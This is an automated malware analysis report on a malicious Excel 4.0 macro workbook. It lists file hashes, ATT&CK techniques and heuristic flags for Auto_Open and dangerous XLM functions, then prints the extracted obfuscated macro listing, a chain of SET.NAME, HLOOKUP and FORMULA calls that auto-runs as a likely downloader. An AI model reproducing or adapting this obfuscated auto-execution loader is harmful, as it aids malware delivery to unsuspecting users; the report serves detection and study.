Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30a3299d2dd3c5c2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:43 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 2086034711d21948f00080efea8d7b29 SHA-1: 24464fa117ade01dd8f46206dd82e35bbb8f00b1 SHA-256: 30a3299d2dd3c5c235e49e946729d708bb9a8e54ab736c17f18e59eb19b806bb
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This suggests the macro is designed to execute arbitrary code, likely a downloader for a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6655 bytes
SHA-256: c0315853b8c2378afa8395e013ecac4b793f6033f3529d6a8e57918e296504f9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FoMZsnzkWw
' 0018     25 LABEL : Cell Value, String Constant - aAeNgKkAQY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A177 
' 0018     20 LABEL : Cell Value, String Constant - dYCeI len=0 
' 0018     21 LABEL : Cell Value, String Constant - ERRVnc len=0 
' 0018     21 LABEL : Cell Value, String Constant - FwZugJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - GAyEDuwCkDK len=0 
' 0018     26 LABEL : Cell Value, String Constant - JowQUwAOWZb len=0 
' 0018     25 LABEL : Cell Value, String Constant - kssdqTUAJR len=0 
' 0018     21 LABEL : Cell Value, String Constant - lCNFAP len=0 
' 0018     21 LABEL : Cell Value, String Constant - lEGtYw len=0 
' 0018     27 LABEL : Cell Value, String Constant - LVvsvGxCbTBI len=0 
' 0018     21 LABEL : Cell Value, String Constant - nWASlf len=0 
' 0018     21 LABEL : Cell Value, String Constant - Ojltzi len=0 
' 0018     22 LABEL : Cell Value, String Constant - OZxQLhw len=0 
' 0018     26 LABEL : Cell Value, String Constant - QRmkyQpVWGZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - saFNz len=0 
' 0018     23 LABEL : Cell Value, String Constant - TUwbfSaq len=0 
' 0018     26 LABEL : Cell Value, String Constant - uMWGrhScuSo len=0 
' 0018     21 LABEL : Cell Value, String Constant - Vgsjur len=0 
' 0018     22 LABEL : Cell Value, String Constant - XVwKZnb len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZrWZYuqcHVM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FoMZsnzkWw,A78,"SET.NAME("QRmkyQpVWGZ",VALUE("0"))",""
'  FoMZsnzkWw,A82,"SET.NAME("lEGtYw",QRmkyQpVWGZ)",""
'  FoMZsnzkWw,A84,"SET.NAME("TUwbfSaq",QRmkyQpVWGZ)",""
'  FoMZsnzkWw,A89,"SET.NAME("OZxQLhw",COUNTA(nWASlf))",""
'  FoMZsnzkWw,A93,"SET.NAME("Ojltzi",COUNTA(ZrWZYuqcHVM))",""
'  FoMZsnzkWw,A98,[],""
'  FoMZsnzkWw,A103,"SET.NAME("GAyEDuwCkDK","")",""
'  FoMZsnzkWw,A105,"lEGtYw",""
'  FoMZsnzkWw,A110,"SET.NAME("uMWGrhScuSo",HLOOKUP("*",nWASlf,lEGtYw,FALSE))",""
'  FoMZsnzkWw,A113,"dYCeI",""
'  FoMZsnzkWw,A117,"SET.NAME("saFNz",QRmkyQpVWGZ)",""
'  FoMZsnzkWw,A120,[],""
'  FoMZsnzkWw,A123,"saFNz",""
'  FoMZsnzkWw,A128,"FwZugJ",""
'  FoMZsnzkWw,A132,"XVwKZnb",""
'  FoMZsnzkWw,A135,"Vgsjur",""
'  FoMZsnzkWw,A140,"SET.NAME("JowQUwAOWZb",VALUE(HLOOKUP("*",ZrWZYuqcHVM,Vgsjur,FALSE)))",""
'  FoMZsnzkWw,A143,"LVvsvGxCbTBI",""
'  FoMZsnzkWw,A146,"GAyEDuwCkDK",""
'  FoMZsnzkWw,A151,"TUwbfSaq",""
'  FoMZsnzkWw,A156,NEXT(),""
'  FoMZsnzkWw,A159,"lCNFAP",""
'  FoMZsnzkWw,A163,"SET.NAME("f",INT(T(FORMULA(T(GAyEDuwCkDK)&"",""&T(lCNFAP)))))",""
'  FoMZsnzkWw,A166,"aAeNgKkAQY",""
'  FoMZsnzkWw,A170,NEXT(),""
'  FoMZsnzkWw,A174,RETURN(),""
'  FoMZsnzkWw,A200,"SET.NAME("kssdqTUAJR",A78)",""
'  FoMZsnzkWw,A202,"nWASlf",""
'  FoMZsnzkWw,A207,"SET.NAME("ZrWZYuqcHVM",R51C13)",""
'  FoMZsnzkWw,A209,"SET.NAME("aAeNgKkAQY",220)",""
'  FoMZsnzkWw,A214,"SET.NAME("ERRVnc",1)",""
'  FoMZsnzkWw,A219,kssdqTUAJR(),""
'  FoMZsnzkWw,A220,HALT(),""

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